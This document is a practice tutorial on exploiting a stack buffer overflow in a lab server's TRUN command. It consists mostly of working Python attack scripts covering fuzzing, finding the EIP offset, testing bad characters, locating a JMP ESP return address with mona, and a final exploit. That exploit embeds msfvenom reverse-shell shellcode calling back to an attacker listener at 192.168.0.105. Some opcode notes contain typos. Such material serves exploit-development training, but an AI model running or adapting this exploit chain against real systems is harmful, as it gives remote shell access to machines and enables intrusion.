Buffer Overflow

PRACTICE ! PRACTICE ! PRACTICE !

• Let's connect to the server and find all the available commands in it If it is available then we'll write a .spk script and spike it using generic_send_tcp command

s_readline();
s_string("TRUN ");
s_string_variable("0");

./generic_send_tcp host port spike_script SPKVAR SPKSTR

• After finding the vulnerable command, let's now fuzz it with 100 A's and iterate it till the program breaks (Here we wouldn't have overwritten the EIP)

#!/usr/bin/python

import sys, socket
from time import sleep

buffer = "A" * 100

while True:
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect(('192.168.0.104',9999))

		s.send(('TRUN /.:/' + buffer))
		s.close()
		sleep(1)

		buffer = buffer + "A" * 100

	except:

		print("Fuzzing crashed at %s bytes" % str(len(buffer)))
		sys.exit()

• Now let's find the offset, where the program crashes using pattern_create.rb and run it (Here we have overwritten the EIP) - We'll now note the EIP overwritten address and use it in our pattern_offset.rb to find the exact offset - This now confirms the START of the EIP address

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 

#!/usr/bin/python

import sys, socket

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.0.104',9999))

	s.send(('TRUN /.:/' + offset))
	s.close()
	
except:

	print("Error !")
	sys.exit()

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337 
[+] Exact match found at 2003

• Let's now find some BAD characters, executing it in our program and follow the dump via ESP

#!/usr/bin/python

import sys, socket

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


shellcode = "A" * 2003 + "B" * 4 + badchars

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.0.104',9999))

	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:

	print("Error !")
	sys.exit()

• Now using the mona.py in our Immunity Debugger, we can find the available .dll modules which doesn't have any memory protections - At the same time we'll have to find the pointer address of that specific .dll using the JMP ESP addr (\xff\4e) - Now we have full control over the EIP to point at our malicious shellcode :)

!mona modules
!mona find -s "\xff\x4e" -m essfunc.dll

• Another way to find the JMP ESP address when there are no apt modules which have FALSE set to all the MEMORY PROCTECTIONS is

!mona jmp -r esp -cpb "\x00"            # Include all the bad chars found

We'll have a RET address 0x625011af, now include it in our python script

#!/usr/bin/python

import sys, socket

shellcode = "A" * 2003 + "\xaf\x11\x50\x62"	# Writing this in reverse because of the x86 arch little endian mapping

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.0.104',9999))

	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:

	print("Error !")
	sys.exit()

• Generate a shellcode via msfvenom and include it in our python script with nops (16 or 32 ) for some padding, set up a listener and we get a shell !

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.105 LPORT=1111 EXITFUNC=thread -f c -a x86 -b "\0x00" > payload

#!/usr/bin/python

import sys, socket

overflow = ("\xbf\xe1\xed\x78\xbb\xdd\xc2\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x52\x83\xed\xfc\x31\x7d\x0e\x03\x9c\xe3\x9a\x4e\xa2"
"\x14\xd8\xb1\x5a\xe5\xbd\x38\xbf\xd4\xfd\x5f\xb4\x47\xce"
"\x14\x98\x6b\xa5\x79\x08\xff\xcb\x55\x3f\x48\x61\x80\x0e"
"\x49\xda\xf0\x11\xc9\x21\x25\xf1\xf0\xe9\x38\xf0\x35\x17"
"\xb0\xa0\xee\x53\x67\x54\x9a\x2e\xb4\xdf\xd0\xbf\xbc\x3c"
"\xa0\xbe\xed\x93\xba\x98\x2d\x12\x6e\x91\x67\x0c\x73\x9c"
"\x3e\xa7\x47\x6a\xc1\x61\x96\x93\x6e\x4c\x16\x66\x6e\x89"
"\x91\x99\x05\xe3\xe1\x24\x1e\x30\x9b\xf2\xab\xa2\x3b\x70"
"\x0b\x0e\xbd\x55\xca\xc5\xb1\x12\x98\x81\xd5\xa5\x4d\xba"
"\xe2\x2e\x70\x6c\x63\x74\x57\xa8\x2f\x2e\xf6\xe9\x95\x81"
"\x07\xe9\x75\x7d\xa2\x62\x9b\x6a\xdf\x29\xf4\x5f\xd2\xd1"
"\x04\xc8\x65\xa2\x36\x57\xde\x2c\x7b\x10\xf8\xab\x7c\x0b"
"\xbc\x23\x83\xb4\xbd\x6a\x40\xe0\xed\x04\x61\x89\x65\xd4"
"\x8e\x5c\x29\x84\x20\x0f\x8a\x74\x81\xff\x62\x9e\x0e\xdf"
"\x93\xa1\xc4\x48\x39\x58\x8f\xb6\x16\x62\x26\x5f\x65\x62"
"\xb9\x24\xe0\x84\xd3\x4a\xa5\x1f\x4c\xf2\xec\xeb\xed\xfb"
"\x3a\x96\x2e\x77\xc9\x67\xe0\x70\xa4\x7b\x95\x70\xf3\x21"
"\x30\x8e\x29\x4d\xde\x1d\xb6\x8d\xa9\x3d\x61\xda\xfe\xf0"
"\x78\x8e\x12\xaa\xd2\xac\xee\x2a\x1c\x74\x35\x8f\xa3\x75"
"\xb8\xab\x87\x65\x04\x33\x8c\xd1\xd8\x62\x5a\x8f\x9e\xdc"
"\x2c\x79\x49\xb2\xe6\xed\x0c\xf8\x38\x6b\x11\xd5\xce\x93"
"\xa0\x80\x96\xac\x0d\x45\x1f\xd5\x73\xf5\xe0\x0c\x30\x15"
"\x03\x84\x4d\xbe\x9a\x4d\xec\xa3\x1c\xb8\x33\xda\x9e\x48"
"\xcc\x19\xbe\x39\xc9\x66\x78\xd2\xa3\xf7\xed\xd4\x10\xf7"
"\x27")

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.0.104',9999))

	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:

	print("Error !")
	sys.exit()